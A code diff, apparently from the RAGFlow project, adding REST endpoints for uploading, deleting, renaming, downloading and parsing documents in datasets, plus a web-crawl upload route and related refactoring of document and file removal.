+        return construct_json_result(code=RetCode.DATA_ERROR, message=f"You try to upload {num_file_objs} files, "
+                                                                      f"which exceeds the maximum number of uploading files: {MAXIMUM_OF_UPLOADING_FILES}")
+
+    # no dataset
+    exist, dataset = KnowledgebaseService.get_by_id(dataset_id)
+    if not exist:
+        return construct_json_result(message="Can't find this dataset", code=RetCode.DATA_ERROR)
+
+    for file_obj in file_objs:
+        file_name = file_obj.filename
+        # no name
+        if not file_name:
+            return construct_json_result(
+                message="There is a file without name!", code=RetCode.ARGUMENT_ERROR)
+
+        # TODO: support the remote files
+        if 'http' in file_name:
+            return construct_json_result(code=RetCode.ARGUMENT_ERROR, message="Remote files have not unsupported.")
+
+    # get the root_folder
+    root_folder = FileService.get_root_folder(current_user.id)
+    # get the id of the root_folder
+    parent_file_id = root_folder["id"]  # document id
+    # this is for the new user, create '.knowledgebase' file
+    FileService.init_knowledgebase_docs(parent_file_id, current_user.id)
+    # go inside this folder, get the kb_root_folder
+    kb_root_folder = FileService.get_kb_folder(current_user.id)
+    # link the file management to the kb_folder
+    kb_folder = FileService.new_a_file_from_kb(dataset.tenant_id, dataset.name, kb_root_folder["id"])
+
+    # grab all the errs
+    err = []
+    MAX_FILE_NUM_PER_USER = int(os.environ.get("MAX_FILE_NUM_PER_USER", 0))
+    uploaded_docs_json = []
+    for file in file_objs:
+        try:
+            # TODO: get this value from the database as some tenants have this limit while others don't
+            if MAX_FILE_NUM_PER_USER > 0 and DocumentService.get_doc_count(dataset.tenant_id) >= MAX_FILE_NUM_PER_USER:
+                return construct_json_result(code=RetCode.DATA_ERROR,
+                                             message="Exceed the maximum file number of a free user!")
+            # deal with the duplicate name
+            filename = duplicate_name(
+                DocumentService.query,
+                name=file.filename,
+                kb_id=dataset.id)
+
+            # deal with the unsupported type
+            filetype = filename_type(filename)
+            if filetype == FileType.OTHER.value:
+                return construct_json_result(code=RetCode.DATA_ERROR,
+                                             message="This type of file has not been supported yet!")
+
+            # upload to the minio
+            location = filename
+            while MINIO.obj_exist(dataset_id, location):
+                location += "_"
+
+            blob = file.read()
+
+            # the content is empty, raising a warning
+            if blob == b'':
+                warnings.warn(f"[WARNING]: The content of the file {filename} is empty.")
+
+            MINIO.put(dataset_id, location, blob)
+
+            doc = {
+                "id": get_uuid(),
+                "kb_id": dataset.id,
+                "parser_id": dataset.parser_id,
+                "parser_config": dataset.parser_config,
+                "created_by": current_user.id,
+                "type": filetype,
+                "name": filename,
+                "location": location,
+                "size": len(blob),
+                "thumbnail": thumbnail(filename, blob)
+            }
+            if doc["type"] == FileType.VISUAL:
+                doc["parser_id"] = ParserType.PICTURE.value
+            if doc["type"] == FileType.AURAL:
+                doc["parser_id"] = ParserType.AUDIO.value
+            if re.search(r"\.(ppt|pptx|pages)$", filename):
+                doc["parser_id"] = ParserType.PRESENTATION.value
+            DocumentService.insert(doc)
+
+            FileService.add_file_from_kb(doc, kb_folder["id"], dataset.tenant_id)
+            uploaded_docs_json.append(doc)
+        except Exception as e:
+            err.append(file.filename + ": " + str(e))
+
+    if err:
+        # return all the errors
+        return construct_json_result(message="\n".join(err), code=RetCode.SERVER_ERROR)
+    # success
+    return construct_json_result(data=uploaded_docs_json, code=RetCode.SUCCESS)
+
+
+# ----------------------------delete a file-----------------------------------------------------
+@manager.route("/<dataset_id>/documents/<document_id>", methods=["DELETE"])
+@login_required
+def delete_document(document_id, dataset_id):  # string
+    # get the root folder
+    root_folder = FileService.get_root_folder(current_user.id)
+    # parent file's id
+    parent_file_id = root_folder["id"]
+    # consider the new user
+    FileService.init_knowledgebase_docs(parent_file_id, current_user.id)
+    # store all the errors that may have
+    errors = ""
+    try:
+        # whether there is this document
+        exist, doc = DocumentService.get_by_id(document_id)
+        if not exist:
+            return construct_json_result(message=f"Document {document_id} not found!", code=RetCode.DATA_ERROR)
+        # whether this doc is authorized by this tenant
+        tenant_id = DocumentService.get_tenant_id(document_id)
+        if not tenant_id:
+            return construct_json_result(
+                message=f"You cannot delete this document {document_id} due to the authorization"
+                        f" reason!", code=RetCode.AUTHENTICATION_ERROR)
+
+        # get the doc's id and location
+        real_dataset_id, location = File2DocumentService.get_minio_address(doc_id=document_id)
+
+        if real_dataset_id != dataset_id:
+            return construct_json_result(message=f"The document {document_id} is not in the dataset: {dataset_id}, "
+                                                 f"but in the dataset: {real_dataset_id}.", code=RetCode.ARGUMENT_ERROR)
+
+        # there is an issue when removing
+        if not DocumentService.remove_document(doc, tenant_id):
+            return construct_json_result(
+                message="There was an error during the document removal process. Please check the status of the "
+                        "RAGFlow server and try the removal again.", code=RetCode.OPERATING_ERROR)
+
+        # fetch the File2Document record associated with the provided document ID.
+        file_to_doc = File2DocumentService.get_by_document_id(document_id)
+        # delete the associated File record.
+        FileService.filter_delete([File.source_type == FileSource.KNOWLEDGEBASE, File.id == file_to_doc[0].file_id])
+        # delete the File2Document record itself using the document ID. This removes the
+        # association between the document and the file after the File record has been deleted.
+        File2DocumentService.delete_by_document_id(document_id)
+
+        # delete it from minio
+        MINIO.rm(dataset_id, location)
+    except Exception as e:
+        errors += str(e)
+    if errors:
+        return construct_json_result(data=False, message=errors, code=RetCode.SERVER_ERROR)
+
+    return construct_json_result(data=True, code=RetCode.SUCCESS)
+
+
+# ----------------------------list files-----------------------------------------------------
+@manager.route('/<dataset_id>/documents/', methods=['GET'])
+@login_required
+def list_documents(dataset_id):
+    if not dataset_id:
+        return construct_json_result(
+            data=False, message="Lack of 'dataset_id'", code=RetCode.ARGUMENT_ERROR)
+
+    # searching keywords
+    keywords = request.args.get("keywords", "")
+
+    offset = request.args.get("offset", 0)
+    count = request.args.get("count", -1)
+    order_by = request.args.get("order_by", "create_time")
+    descend = request.args.get("descend", True)
+    try:
+        docs, total = DocumentService.list_documents_in_dataset(dataset_id, int(offset), int(count), order_by,
+                                                                descend, keywords)
+
+        return construct_json_result(data={"total": total, "docs": docs}, message=RetCode.SUCCESS)
+    except Exception as e:
+        return construct_error_response(e)
+
+
+# ----------------------------update: enable rename-----------------------------------------------------
+@manager.route("/<dataset_id>/documents/<document_id>", methods=["PUT"])
+@login_required
+def update_document(dataset_id, document_id):
+    req = request.json
+    try:
+        legal_parameters = set()
+        legal_parameters.add("name")
+        legal_parameters.add("enable")
+        legal_parameters.add("template_type")
+
+        for key in req.keys():
+            if key not in legal_parameters:
+                return construct_json_result(code=RetCode.ARGUMENT_ERROR, message=f"{key} is an illegal parameter.")
+
+        # The request body cannot be empty
+        if not req:
+            return construct_json_result(
+                code=RetCode.DATA_ERROR,
+                message="Please input at least one parameter that you want to update!")
+
+        # Check whether there is this dataset
+        exist, dataset = KnowledgebaseService.get_by_id(dataset_id)
+        if not exist:
+            return construct_json_result(code=RetCode.DATA_ERROR, message=f"This dataset {dataset_id} cannot be found!")
+
+        # The document does not exist
+        exist, document = DocumentService.get_by_id(document_id)
+        if not exist:
+            return construct_json_result(message=f"This document {document_id} cannot be found!",
+                                         code=RetCode.ARGUMENT_ERROR)
+
+        # Deal with the different keys
+        updating_data = {}
+        if "name" in req:
+            new_name = req["name"]
+            updating_data["name"] = new_name
+            # Check whether the new_name is suitable
+            # 1. no name value
+            if not new_name:
+                return construct_json_result(code=RetCode.DATA_ERROR, message="There is no new name.")
+
+            # 2. In case that there's space in the head or the tail
+            new_name = new_name.strip()
+
+            # 3. Check whether the new_name has the same extension of file as before
+            if pathlib.Path(new_name.lower()).suffix != pathlib.Path(
+                    document.name.lower()).suffix:
+                return construct_json_result(
+                    data=False,
+                    message="The extension of file cannot be changed",
+                    code=RetCode.ARGUMENT_ERROR)
+
+            # 4. Check whether the new name has already been occupied by other file
+            for d in DocumentService.query(name=new_name, kb_id=document.kb_id):
+                if d.name == new_name:
+                    return construct_json_result(
+                        message="Duplicated document name in the same dataset.",
+                        code=RetCode.ARGUMENT_ERROR)
+
+        if "enable" in req:
+            enable_value = req["enable"]
+            if is_illegal_value_for_enum(enable_value, StatusEnum):
+                return construct_json_result(message=f"Illegal value {enable_value} for 'enable' field.",
+                                             code=RetCode.DATA_ERROR)
+            updating_data["status"] = enable_value
+
+        # TODO: Chunk-method - update parameters inside the json object parser_config
+        if "template_type" in req:
+            type_value = req["template_type"]
+            if is_illegal_value_for_enum(type_value, ParserType):
+                return construct_json_result(message=f"Illegal value {type_value} for 'template_type' field.",
+                                             code=RetCode.DATA_ERROR)
+            updating_data["parser_id"] = req["template_type"]
+
+        # The process of updating
+        if not DocumentService.update_by_id(document_id, updating_data):
+            return construct_json_result(
+                code=RetCode.OPERATING_ERROR,
+                message="Failed to update document in the database! "
+                        "Please check the status of RAGFlow server and try again!")
+
+        # name part: file service
+        if "name" in req:
+            # Get file by document id
+            file_information = File2DocumentService.get_by_document_id(document_id)
+            if file_information:
+                exist, file = FileService.get_by_id(file_information[0].file_id)
+                FileService.update_by_id(file.id, {"name": req["name"]})
+
+        exist, document = DocumentService.get_by_id(document_id)
+
+        # Success
+        return construct_json_result(data=document.to_json(), message="Success", code=RetCode.SUCCESS)
+    except Exception as e:
+        return construct_error_response(e)
+
+
+# Helper method to judge whether it's an illegal value
+def is_illegal_value_for_enum(value, enum_class):
+    return value not in enum_class.__members__.values()
+
+
+# ----------------------------download a file-----------------------------------------------------
+@manager.route("/<dataset_id>/documents/<document_id>", methods=["GET"])
+@login_required
+def download_document(dataset_id, document_id):
+    try:
+        # Check whether there is this dataset
+        exist, _ = KnowledgebaseService.get_by_id(dataset_id)
+        if not exist:
+            return construct_json_result(code=RetCode.DATA_ERROR,
+                                         message=f"This dataset '{dataset_id}' cannot be found!")
+
+        # Check whether there is this document
+        exist, document = DocumentService.get_by_id(document_id)
+        if not exist:
+            return construct_json_result(message=f"This document '{document_id}' cannot be found!",
+                                         code=RetCode.ARGUMENT_ERROR)
+
+        # The process of downloading
+        doc_id, doc_location = File2DocumentService.get_minio_address(doc_id=document_id)  # minio address
+        file_stream = MINIO.get(doc_id, doc_location)
+        if not file_stream:
+            return construct_json_result(message="This file is empty.", code=RetCode.DATA_ERROR)
+
+        file = BytesIO(file_stream)
+
+        # Use send_file with a proper filename and MIME type
+        return send_file(
+            file,
+            as_attachment=True,
+            download_name=document.name,
+            mimetype='application/octet-stream'  # Set a default MIME type
+        )
+
+    # Error
+    except Exception as e:
+        return construct_error_response(e)
+
+
+# ----------------------------start parsing a document-----------------------------------------------------
+# helper method for parsing
+# callback method
+def doc_parse_callback(doc_id, prog=None, msg=""):
+    cancel = DocumentService.do_cancel(doc_id)
+    if cancel:
+        raise Exception("The parsing process has been cancelled!")
+
+"""
+def doc_parse(binary, doc_name, parser_name, tenant_id, doc_id):
+    match parser_name:
+        case "book":
+            book.chunk(doc_name, binary=binary, callback=partial(doc_parse_callback, doc_id))
+        case "laws":
+            laws.chunk(doc_name, binary=binary, callback=partial(doc_parse_callback, doc_id))
+        case "manual":
+            manual.chunk(doc_name, binary=binary, callback=partial(doc_parse_callback, doc_id))
+        case "naive":
+            # It's the mode by default, which is general in the front-end
+            naive.chunk(doc_name, binary=binary, callback=partial(doc_parse_callback, doc_id))
+        case "one":
+            one.chunk(doc_name, binary=binary, callback=partial(doc_parse_callback, doc_id))
+        case "paper":
+            paper.chunk(doc_name, binary=binary, callback=partial(doc_parse_callback, doc_id))
+        case "picture":
+            picture.chunk(doc_name, binary=binary, tenant_id=tenant_id, lang="Chinese",
+                          callback=partial(doc_parse_callback, doc_id))
+        case "presentation":
+            presentation.chunk(doc_name, binary=binary, callback=partial(doc_parse_callback, doc_id))
+        case "qa":
+            qa.chunk(doc_name, binary=binary, callback=partial(doc_parse_callback, doc_id))
+        case "resume":
+            resume.chunk(doc_name, binary=binary, callback=partial(doc_parse_callback, doc_id))
+        case "table":
+            table.chunk(doc_name, binary=binary, callback=partial(doc_parse_callback, doc_id))
+        case "audio":
+            audio.chunk(doc_name, binary=binary, callback=partial(doc_parse_callback, doc_id))
+        case _:
+            return False
+
+    return True
+    """
+
+
+@manager.route("/<dataset_id>/documents/<document_id>/status", methods=["POST"])
+@login_required
+def parse_document(dataset_id, document_id):
+    try:
+        # valid dataset
+        exist, _ = KnowledgebaseService.get_by_id(dataset_id)
+        if not exist:
+            return construct_json_result(code=RetCode.DATA_ERROR,
+                                         message=f"This dataset '{dataset_id}' cannot be found!")
+
+        return parsing_document_internal(document_id)
+
+    except Exception as e:
+        return construct_error_response(e)
+
+
+# ----------------------------start parsing documents-----------------------------------------------------
+@manager.route("/<dataset_id>/documents/status", methods=["POST"])
+@login_required
+def parse_documents(dataset_id):
+    doc_ids = request.json["doc_ids"]
+    try:
+        exist, _ = KnowledgebaseService.get_by_id(dataset_id)
+        if not exist:
+            return construct_json_result(code=RetCode.DATA_ERROR,
+                                         message=f"This dataset '{dataset_id}' cannot be found!")
+        # two conditions
+        if not doc_ids:
+            # documents inside the dataset
+            docs, total = DocumentService.list_documents_in_dataset(dataset_id, 0, -1, "create_time",
+                                                                    True, "")
+            doc_ids = [doc["id"] for doc in docs]
+
+        message = ""
+        # for loop
+        for id in doc_ids:
+            res = parsing_document_internal(id)
+            res_body = res.json
+            if res_body["code"] == RetCode.SUCCESS:
+                message += res_body["message"]
+            else:
+                return res
+        return construct_json_result(data=True, code=RetCode.SUCCESS, message=message)
+
+    except Exception as e:
+        return construct_error_response(e)
+
+
+# helper method for parsing the document
+def parsing_document_internal(id):
+    message = ""
+    try:
+        # Check whether there is this document
+        exist, document = DocumentService.get_by_id(id)
+        if not exist:
+            return construct_json_result(message=f"This document '{id}' cannot be found!",
+                                         code=RetCode.ARGUMENT_ERROR)
+
+        tenant_id = DocumentService.get_tenant_id(id)
+        if not tenant_id:
+            return construct_json_result(message="Tenant not found!", code=RetCode.AUTHENTICATION_ERROR)
+
+        info = {"run": "1", "progress": 0}
+        info["progress_msg"] = ""
+        info["chunk_num"] = 0
+        info["token_num"] = 0
+
+        DocumentService.update_by_id(id, info)
+
+        ELASTICSEARCH.deleteByQuery(Q("match", doc_id=id), idxnm=search.index_name(tenant_id))
+
+        _, doc_attributes = DocumentService.get_by_id(id)
+        doc_attributes = doc_attributes.to_dict()
+        doc_id = doc_attributes["id"]
+
+        bucket, doc_name = File2DocumentService.get_minio_address(doc_id=doc_id)
+        binary = MINIO.get(bucket, doc_name)
+        parser_name = doc_attributes["parser_id"]
+        if binary:
+            res = doc_parse(binary, doc_name, parser_name, tenant_id, doc_id)
+            if res is False:
+                message += f"The parser id: {parser_name} of the document {doc_id} is not supported; "
+        else:
+            message += f"Empty data in the document: {doc_name}; "
+        # failed in parsing
+        if doc_attributes["status"] == TaskStatus.FAIL.value:
+            message += f"Failed in parsing the document: {doc_id}; "
+        return construct_json_result(code=RetCode.SUCCESS, message=message)
+    except Exception as e:
+        return construct_error_response(e)
+
+
+# ----------------------------stop parsing a doc-----------------------------------------------------
+@manager.route("<dataset_id>/documents/<document_id>/status", methods=["DELETE"])
+@login_required
+def stop_parsing_document(dataset_id, document_id):
+    try:
+        # valid dataset
+        exist, _ = KnowledgebaseService.get_by_id(dataset_id)
+        if not exist:
+            return construct_json_result(code=RetCode.DATA_ERROR,
+                                         message=f"This dataset '{dataset_id}' cannot be found!")
+
+        return stop_parsing_document_internal(document_id)
+
+    except Exception as e:
+        return construct_error_response(e)
+
+
+# ----------------------------stop parsing docs-----------------------------------------------------
+@manager.route("<dataset_id>/documents/status", methods=["DELETE"])
+@login_required
+def stop_parsing_documents(dataset_id):
+    doc_ids = request.json["doc_ids"]
+    try:
+        # valid dataset?
+        exist, _ = KnowledgebaseService.get_by_id(dataset_id)
+        if not exist:
+            return construct_json_result(code=RetCode.DATA_ERROR,
+                                         message=f"This dataset '{dataset_id}' cannot be found!")
+        if not doc_ids:
+            # documents inside the dataset
+            docs, total = DocumentService.list_documents_in_dataset(dataset_id, 0, -1, "create_time",
+                                                                        True, "")
+            doc_ids = [doc["id"] for doc in docs]
+
+        message = ""
+        # for loop
+        for id in doc_ids:
+            res = stop_parsing_document_internal(id)
+            res_body = res.json
+            if res_body["code"] == RetCode.SUCCESS:
+                message += res_body["message"]
+            else:
+                return res
+        return construct_json_result(data=True, code=RetCode.SUCCESS, message=message)
+
+    except Exception as e:
+        return construct_error_response(e)
+
+
+# Helper method
+def stop_parsing_document_internal(document_id):
+    try:
+        # valid doc?
+        exist, doc = DocumentService.get_by_id(document_id)
+        if not exist:
+            return construct_json_result(message=f"This document '{document_id}' cannot be found!",
+                                         code=RetCode.ARGUMENT_ERROR)
+        doc_attributes = doc.to_dict()
+
+        # only when the status is parsing, we need to stop it
+        if doc_attributes["status"] == TaskStatus.RUNNING.value:
+            tenant_id = DocumentService.get_tenant_id(document_id)
+            if not tenant_id:
+                return construct_json_result(message="Tenant not found!", code=RetCode.AUTHENTICATION_ERROR)
+
+            # update successfully?
+            if not DocumentService.update_by_id(document_id, {"status": "2"}):  # cancel
+                return construct_json_result(
+                    code=RetCode.OPERATING_ERROR,
+                    message="There was an error during the stopping parsing the document process. "
+                            "Please check the status of the RAGFlow server and try the update again."
+                )
+
+            _, doc_attributes = DocumentService.get_by_id(document_id)
+            doc_attributes = doc_attributes.to_dict()
+
+            # failed in stop parsing
+            if doc_attributes["status"] == TaskStatus.RUNNING.value:
+                return construct_json_result(message=f"Failed in parsing the document: {document_id}; ", code=RetCode.SUCCESS)
+        return construct_json_result(code=RetCode.SUCCESS, message="")
+    except Exception as e:
+        return construct_error_response(e)
+
+
+# ----------------------------show the status of the file-----------------------------------------------------
+@manager.route("/<dataset_id>/documents/<document_id>/status", methods=["GET"])
+@login_required
+def show_parsing_status(dataset_id, document_id):
+    try:
+        # valid dataset
+        exist, _ = KnowledgebaseService.get_by_id(dataset_id)
+        if not exist:
+            return construct_json_result(code=RetCode.DATA_ERROR,
+                                         message=f"This dataset: '{dataset_id}' cannot be found!")
+        # valid document
+        exist, _ = DocumentService.get_by_id(document_id)
+        if not exist:
+            return construct_json_result(code=RetCode.DATA_ERROR,
+                                         message=f"This document: '{document_id}' is not a valid document.")
+
+        _, doc = DocumentService.get_by_id(document_id)  # get doc object
+        doc_attributes = doc.to_dict()
+
+        return construct_json_result(
+            data={"progress": doc_attributes["progress"], "status": TaskStatus(doc_attributes["status"]).name},
+            code=RetCode.SUCCESS
+        )
+    except Exception as e:
+        return construct_error_response(e)
+
+# ----------------------------list the chunks of the file-----------------------------------------------------
+
+# -- --------------------------delete the chunk-----------------------------------------------------
+
+# ----------------------------edit the status of the chunk-----------------------------------------------------
+
+# ----------------------------insert a new chunk-----------------------------------------------------
+
+# ----------------------------upload a file-----------------------------------------------------
+
+# ----------------------------get a specific chunk-----------------------------------------------------
+
+# ----------------------------retrieval test-----------------------------------------------------

api/apps/dialog_app.py

@@ -32,9 +32,14 @@ def set_dialog():
     dialog_id = req.get("dialog_id")
     name = req.get("name", "New Dialog")
     description = req.get("description", "A helpful Dialog")
+    icon = req.get("icon", "")
     top_n = req.get("top_n", 6)
+    top_k = req.get("top_k", 1024)
+    rerank_id = req.get("rerank_id", "")
+    if not rerank_id: req["rerank_id"] = ""
     similarity_threshold = req.get("similarity_threshold", 0.1)
     vector_similarity_weight = req.get("vector_similarity_weight", 0.3)
+    if vector_similarity_weight is None: vector_similarity_weight = 0.3
     llm_setting = req.get("llm_setting", {})
     default_prompt = {
         "system": """你是一个智能助手，请总结知识库的内容来回答问题，请列举知识库中的数据详细回答。当所有知识库内容都与问题无关时，你的回答必须包括“知识库中未找到您要的答案！”这句话。回答需要考虑聊天历史。
@@ -83,8 +88,11 @@ def set_dialog():
                 "llm_setting": llm_setting,
                 "prompt_config": prompt_config,
                 "top_n": top_n,
+                "top_k": top_k,
+                "rerank_id": rerank_id,
                 "similarity_threshold": similarity_threshold,
-                "vector_similarity_weight": vector_similarity_weight
+                "vector_similarity_weight": vector_similarity_weight,
+                "icon": icon
             }
             if not DialogService.save(**dia):
                 return get_data_error_result(retmsg="Fail to new a dialog!")
@@ -136,7 +144,7 @@ def get_kb_names(kb_ids):
 
 @manager.route('/list', methods=['GET'])
 @login_required
-def list():
+def list_dialogs():
     try:
         diags = DialogService.query(
             tenant_id=current_user.id,

api/apps/document_app.py

@@ -23,7 +23,7 @@ from elasticsearch_dsl import Q
 from flask import request
 from flask_login import login_required, current_user
 
-from api.db.db_models import Task
+from api.db.db_models import Task, File
 from api.db.services.file2document_service import File2DocumentService
 from api.db.services.file_service import FileService
 from api.db.services.task_service import TaskService, queue_tasks
@@ -33,12 +33,14 @@ from api.db.services import duplicate_name
 from api.db.services.knowledgebase_service import KnowledgebaseService
 from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
 from api.utils import get_uuid
-from api.db import FileType, TaskStatus, ParserType
+from api.db import FileType, TaskStatus, ParserType, FileSource
 from api.db.services.document_service import DocumentService
 from api.settings import RetCode
 from api.utils.api_utils import get_json_result
 from rag.utils.minio_conn import MINIO
 from api.utils.file_utils import filename_type, thumbnail
+from api.utils.web_utils import html2pdf, is_valid_url
+from api.utils.web_utils import html2pdf, is_valid_url
 
 
 @manager.route('/upload', methods=['POST'])
@@ -59,12 +61,19 @@ def upload():
             return get_json_result(
                 data=False, retmsg='No file selected!', retcode=RetCode.ARGUMENT_ERROR)
 
+    e, kb = KnowledgebaseService.get_by_id(kb_id)
+    if not e:
+        raise LookupError("Can't find this knowledgebase!")
+
+    root_folder = FileService.get_root_folder(current_user.id)
+    pf_id = root_folder["id"]
+    FileService.init_knowledgebase_docs(pf_id, current_user.id)
+    kb_root_folder = FileService.get_kb_folder(current_user.id)
+    kb_folder = FileService.new_a_file_from_kb(kb.tenant_id, kb.name, kb_root_folder["id"])
+
     err = []
     for file in file_objs:
         try:
-            e, kb = KnowledgebaseService.get_by_id(kb_id)
-            if not e:
-                raise LookupError("Can't find this knowledgebase!")
             MAX_FILE_NUM_PER_USER = int(os.environ.get('MAX_FILE_NUM_PER_USER', 0))
             if MAX_FILE_NUM_PER_USER > 0 and DocumentService.get_doc_count(kb.tenant_id) >= MAX_FILE_NUM_PER_USER:
                 raise RuntimeError("Exceed the maximum file number of a free user!")
@@ -96,9 +105,13 @@ def upload():
             }
             if doc["type"] == FileType.VISUAL:
                 doc["parser_id"] = ParserType.PICTURE.value
+            if doc["type"] == FileType.AURAL:
+                doc["parser_id"] = ParserType.AUDIO.value
             if re.search(r"\.(ppt|pptx|pages)$", filename):
                 doc["parser_id"] = ParserType.PRESENTATION.value
             DocumentService.insert(doc)
+
+            FileService.add_file_from_kb(doc, kb_folder["id"], kb.tenant_id)
         except Exception as e:
             err.append(file.filename + ": " + str(e))
     if err:
@@ -107,6 +120,70 @@ def upload():
     return get_json_result(data=True)
 
 
+@manager.route('/web_crawl', methods=['POST'])
+@login_required
+@validate_request("kb_id", "name", "url")
+def web_crawl():
+    kb_id = request.form.get("kb_id")
+    if not kb_id:
+        return get_json_result(
+            data=False, retmsg='Lack of "KB ID"', retcode=RetCode.ARGUMENT_ERROR)
+    name = request.form.get("name")
+    url = request.form.get("url")
+    if not is_valid_url(url):
+        return get_json_result(
+            data=False, retmsg='The URL format is invalid', retcode=RetCode.ARGUMENT_ERROR)
+    e, kb = KnowledgebaseService.get_by_id(kb_id)
+    if not e:
+        raise LookupError("Can't find this knowledgebase!")
+
+    blob = html2pdf(url)
+    if not blob: return server_error_response(ValueError("Download failure."))
+
+    root_folder = FileService.get_root_folder(current_user.id)
+    pf_id = root_folder["id"]
+    FileService.init_knowledgebase_docs(pf_id, current_user.id)
+    kb_root_folder = FileService.get_kb_folder(current_user.id)
+    kb_folder = FileService.new_a_file_from_kb(kb.tenant_id, kb.name, kb_root_folder["id"])
+
+    try:
+        filename = duplicate_name(
+            DocumentService.query,
+            name=name+".pdf",
+            kb_id=kb.id)
+        filetype = filename_type(filename)
+        if filetype == FileType.OTHER.value:
+            raise RuntimeError("This type of file has not been supported yet!")
+
+        location = filename
+        while MINIO.obj_exist(kb_id, location):
+            location += "_"
+        MINIO.put(kb_id, location, blob)
+        doc = {
+            "id": get_uuid(),
+            "kb_id": kb.id,
+            "parser_id": kb.parser_id,
+            "parser_config": kb.parser_config,
+            "created_by": current_user.id,
+            "type": filetype,
+            "name": filename,
+            "location": location,
+            "size": len(blob),
+            "thumbnail": thumbnail(filename, blob)
+        }
+        if doc["type"] == FileType.VISUAL:
+            doc["parser_id"] = ParserType.PICTURE.value
+        if doc["type"] == FileType.AURAL:
+            doc["parser_id"] = ParserType.AUDIO.value
+        if re.search(r"\.(ppt|pptx|pages)$", filename):
+            doc["parser_id"] = ParserType.PRESENTATION.value
+        DocumentService.insert(doc)
+        FileService.add_file_from_kb(doc, kb_folder["id"], kb.tenant_id)
+    except Exception as e:
+        return server_error_response(e)
+    return get_json_result(data=True)
+
+
 @manager.route('/create', methods=['POST'])
 @login_required
 @validate_request("name", "kb_id")
@@ -145,7 +222,7 @@ def create():
 
 @manager.route('/list', methods=['GET'])
 @login_required
-def list():
+def list_docs():
     kb_id = request.args.get("kb_id")
     if not kb_id:
         return get_json_result(
@@ -228,34 +305,36 @@ def rm():
     req = request.json
     doc_ids = req["doc_id"]
     if isinstance(doc_ids, str): doc_ids = [doc_ids]
+    root_folder = FileService.get_root_folder(current_user.id)
+    pf_id = root_folder["id"]
+    FileService.init_knowledgebase_docs(pf_id, current_user.id)
     errors = ""
     for doc_id in doc_ids:
         try:
             e, doc = DocumentService.get_by_id(doc_id)
-
             if not e:
                 return get_data_error_result(retmsg="Document not found!")
             tenant_id = DocumentService.get_tenant_id(doc_id)
             if not tenant_id:
                 return get_data_error_result(retmsg="Tenant not found!")
 
-            ELASTICSEARCH.deleteByQuery(
-                Q("match", doc_id=doc.id), idxnm=search.index_name(tenant_id))
-            DocumentService.increment_chunk_num(
-                doc.id, doc.kb_id, doc.token_num * -1, doc.chunk_num * -1, 0)
-            if not DocumentService.delete(doc):
+            b, n = File2DocumentService.get_minio_address(doc_id=doc_id)
+
+            if not DocumentService.remove_document(doc, tenant_id):
                 return get_data_error_result(
                     retmsg="Database error (Document removal)!")
 
-            informs = File2DocumentService.get_by_document_id(doc_id)
-            if not informs:
-                MINIO.rm(doc.kb_id, doc.location)
-            else:
-                File2DocumentService.delete_by_document_id(doc_id)
+            f2d = File2DocumentService.get_by_document_id(doc_id)
+            FileService.filter_delete([File.source_type == FileSource.KNOWLEDGEBASE, File.id == f2d[0].file_id])
+            File2DocumentService.delete_by_document_id(doc_id)
+
+            MINIO.rm(b, n)
         except Exception as e:
             errors += str(e)
 
-    if errors: return server_error_response(e)
+    if errors:
+        return get_json_result(data=False, retmsg=errors, retcode=RetCode.SERVER_ERROR)
+
     return get_json_result(data=True)
 
 
@@ -278,7 +357,7 @@ def run():
                 return get_data_error_result(retmsg="Tenant not found!")
             ELASTICSEARCH.deleteByQuery(
                 Q("match", doc_id=id), idxnm=search.index_name(tenant_id))
-            
+
             if str(req["run"]) == TaskStatus.RUNNING.value:
                 TaskService.filter_delete([Task.doc_id == id])
                 e, doc = DocumentService.get_by_id(id)
@@ -307,9 +386,10 @@ def rename():
                 data=False,
                 retmsg="The extension of file can't be changed",
                 retcode=RetCode.ARGUMENT_ERROR)
-        if DocumentService.query(name=req["name"], kb_id=doc.kb_id):
-            return get_data_error_result(
-                retmsg="Duplicated document name in the same knowledgebase.")
+        for d in DocumentService.query(name=req["name"], kb_id=doc.kb_id):
+            if d.name == req["name"]:
+                return get_data_error_result(
+                    retmsg="Duplicated document name in the same knowledgebase.")
 
         if not DocumentService.update_by_id(
                 req["doc_id"], {"name": req["name"]}):
@@ -334,12 +414,8 @@ def get(doc_id):
         if not e:
             return get_data_error_result(retmsg="Document not found!")
 
-        informs = File2DocumentService.get_by_document_id(doc_id)
-        if not informs:
-            response = flask.make_response(MINIO.get(doc.kb_id, doc.location))
-        else:
-            e, file = FileService.get_by_id(informs[0].file_id)
-            response = flask.make_response(MINIO.get(file.parent_id, doc.location))
+        b,n = File2DocumentService.get_minio_address(doc_id=doc_id)
+        response = flask.make_response(MINIO.get(b, n))
 
         ext = re.search(r"\.([^.]+)$", doc.name)
         if ext:

api/apps/file2document_app.py

@@ -58,11 +58,7 @@ def convert():
                     tenant_id = DocumentService.get_tenant_id(doc_id)
                     if not tenant_id:
                         return get_data_error_result(retmsg="Tenant not found!")
-                    ELASTICSEARCH.deleteByQuery(
-                        Q("match", doc_id=doc.id), idxnm=search.index_name(tenant_id))
-                    DocumentService.increment_chunk_num(
-                        doc.id, doc.kb_id, doc.token_num * -1, doc.chunk_num * -1, 0)
-                    if not DocumentService.delete(doc):
+                    if not DocumentService.remove_document(doc, tenant_id):
                         return get_data_error_result(
                             retmsg="Database error (Document removal)!")
                 File2DocumentService.delete_by_file_id(id)
@@ -125,11 +121,7 @@ def rm():
                 tenant_id = DocumentService.get_tenant_id(doc_id)
                 if not tenant_id:
                     return get_data_error_result(retmsg="Tenant not found!")
-                ELASTICSEARCH.deleteByQuery(
-                    Q("match", doc_id=doc.id), idxnm=search.index_name(tenant_id))
-                DocumentService.increment_chunk_num(
-                    doc.id, doc.kb_id, doc.token_num * -1, doc.chunk_num * -1, 0)
-                if not DocumentService.delete(doc):
+                if not DocumentService.remove_document(doc, tenant_id):
                     return get_data_error_result(
                         retmsg="Database error (Document removal)!")
         return get_json_result(data=True)

api/apps/file_app.py

@@ -26,7 +26,7 @@ from api.db.services.document_service import DocumentService
 from api.db.services.file2document_service import File2DocumentService
 from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
 from api.utils import get_uuid
-from api.db import FileType
+from api.db import FileType, FileSource
 from api.db.services import duplicate_name
 from api.db.services.file_service import FileService
 from api.settings import RetCode
@@ -45,7 +45,7 @@ def upload():
 
     if not pf_id:
         root_folder = FileService.get_root_folder(current_user.id)
-        pf_id = root_folder.id
+        pf_id = root_folder["id"]
 
